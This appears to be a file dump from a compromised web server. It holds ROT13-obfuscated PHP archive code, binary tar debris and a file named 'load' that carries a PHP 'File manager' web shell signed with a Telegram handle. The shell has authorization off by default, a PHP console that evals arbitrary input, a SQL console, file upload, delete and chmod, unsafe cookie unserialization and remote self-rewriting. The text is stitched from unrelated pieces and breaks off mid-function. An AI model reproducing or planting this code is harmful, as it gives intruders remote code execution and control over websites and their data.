			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>PK���Z���qqindex.php.php.tar.gznu�[������K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�PK���Z��T��A�Aloadnu�[���eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
